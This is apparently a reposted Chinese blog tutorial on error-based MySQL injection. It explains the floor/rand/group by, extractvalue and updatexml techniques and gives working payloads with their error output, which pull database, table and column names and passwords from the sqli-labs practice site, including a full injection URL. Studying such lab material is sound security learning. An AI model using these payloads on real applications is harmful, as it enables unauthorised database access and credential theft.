SQL注入2(报错型注入)

接SQL注入(一)https://blog.csdn.net/weixin_43997530/article/details/105627979

报错型SQL注入

我们先介绍一下报错型SQL注入,报错型sql注入sql注入(一)的前三步是一致的,但没有数据的回显位,也就是说即使构造语句成功我们也没有办法看到数据的显示。但是如果sql语句出现错误则可以显示在页面上,我们可以利用这点来构造报错显示sql语句 。如下图,当我们输入id=1时,页面并没有给我们显示信息,但我们可以知道,输入是正确的还是错误的。

用到的函数用法

group by

用法:将结果根据我们想要的规则分类;

concat

用法:将多个字符串连接为一个字符串

concat(str1, str2,...) 返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。

concat_ws()函数

用法:和concat()一样,将多个字符串连接成一个字符串,但是可以一次性指定分隔符~(concat_ws就是concat with separator)

concat_ws(separator, str1, str2, ...)

扫描二维码关注公众号,回复: 11277009 查看本文章

说明:第一个参数指定分隔符。需要注意的是分隔符不能为null,如果为null,则返回结果为null。

Count

用法:Count();聚集函数,统计元祖的个数

rand

用法:rand();产生一个0~1的随机数,如果加上一个随机因子,就可以得到一个0~1固定的值,如图;

floor

用法:向下取整

extractvalue

用法:extractvalue(目标xml文档,xml路径) ;对XML文档进行查询的函数。

正常情况下第2个参数的格式为:/XX/XX,而如果我们使用其他格式的参数形式,就会报错,而且会抛出错误的具体内容,这个具体内容就是我们想要查询的内容。

extractvalue()能查询字符串的最大长度为32,就是说如果我们想要的结果超过32,就需要用substr()函数截取,一次查看32位

注:Substr()---截取字符串 三个参数 (所要截取字符串,截取的位置,截取的长度)

updatexml

用法:updatexml()函数与extractvalue()类似,是更新xml文档的函数。

语法updatexml(目标xml文档,xml路径,更新的内容);还是修改xml路径的格式,使其抛出错误。


SQL注入语句:

floor报错注入

使用的函数为floor、rand、concat、group by,虽然这几个函数单独来看没什么特别的,但是如果将其结合使用,就可以使其抛出错误,达到我们想要的结果。

爆出当前的数据库

mysql> select count(*) from information_schema.tables group by concat(floor(rand(0)*2),0x3a,(select database()));

ERROR 1062 (23000): Duplicate entry '1:security' for key 1

注:这里的抛出的错误是前半句语句出错了,这里大家只要记住这里的count、group by、concat、floor、rand这几个函数的组合起来使用就可以让系统抛出错误,效果如下;然后再在concat函数后面加我们想要查询的语句即可。

mysql> select count(*) from information_schema.tables group by concat(floor(rand(0)*2));

ERROR 1062 (23000): Duplicate entry '1' for key 1

爆出表名

mysql> select count(*) from information_schema.tables group by concat(floor(rand(0)*2),0x3a,(select table_name from information_schema.tables where table_schema='security'));

ERROR 1242 (21000): Subquery returns more than 1 row
mysql> select count(*) from information_schema.tables group by concat(floor(rand(0)*2),0x3a,(select table_name from information_schema.tables where table_schema='security' limit 0,1));

ERROR 1062 (23000): Duplicate entry '1:emails' for key 1

注:同样这里输出超过了一行,我们使用limit函数进行限制。 

爆出列名:

mysql> select count(*) from information_schema.tables group by concat(floor(rand(0)*2),0x3a,(select column_name from information_schema.columns where table_name='users' limit 0,1 ));

ERROR 1062 (23000): Duplicate entry '1:user_id' for key 1

 爆出数据:

mysql> select count(*) from information_schema.tables group by concat(floor(rand(0)*2),0x3a,(select username from users limit 0,1 ));

ERROR 1062 (23000): Duplicate entry '1:Dumb' for key 1

按照SQL注入(一)中的思路,再替换这里我们列出的SQL语句,我们就能看到我们想要的数据。

http://192.168.67.134/sqli-labs-master/Less-5/?id=1' union all select 1,(select count(*) from information_schema.tables group by concat(floor(rand(0)*2),0x3a,(select database()))),3--+

extractvalue报错注入

获取表名:

mysql> select extractvalue(1, concat(0x5c,(select table_name from information_schema.tables where table_schema=database() limit 3,1)));

ERROR 1105 (HY000): XPATH syntax error: '\users'

注:这里的0x5c只要不是规定的格式都可以

获取字段:

mysql> select extractvalue(1, concat(0x5c,(select password from users limit 1,1)));ERROR 1105 (HY000): XPATH syntax error: '\I-kill-you'mysql> select extractvalue(1, concat(0x5c,(select password from users limit 0,1)));

ERROR 1105 (HY000): XPATH syntax error: '\Dumb'

updatexml报错注入

获取表名:

mysql> select updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 3,1)),0);

ERROR 1105 (HY000): XPATH syntax error: '~users'

获取列名:

mysql> select updatexml(0,concat(0x7e,(SELECT concat(column_name) FROM information_schema.columns WHERE table_name='users' limit 4,1)),0);

ERROR 1105 (HY000): XPATH syntax error: '~password'

mysql> select updatexml(0,concat(0x7e,(SELECT concat(column_name) FROM information_schema.columns WHERE table_name='users' limit 3,1)),0);

ERROR 1105 (HY000): XPATH syntax error: '~user'

获取内容:

mysql> select updatexml(0,concat(0x7e,(SELECT concat(password) FROM users limit 0,1)),0);ERROR 1105 (HY000): XPATH syntax error: '~Dumb'mysql> select updatexml(0,concat(0x7e,(SELECT concat(password) FROM users limit 1,1)),0);

ERROR 1105 (HY000): XPATH syntax error: '~I-kill-you'

猜你喜欢

转载自blog.csdn.net/weixin_43997530/article/details/105745805
今日推荐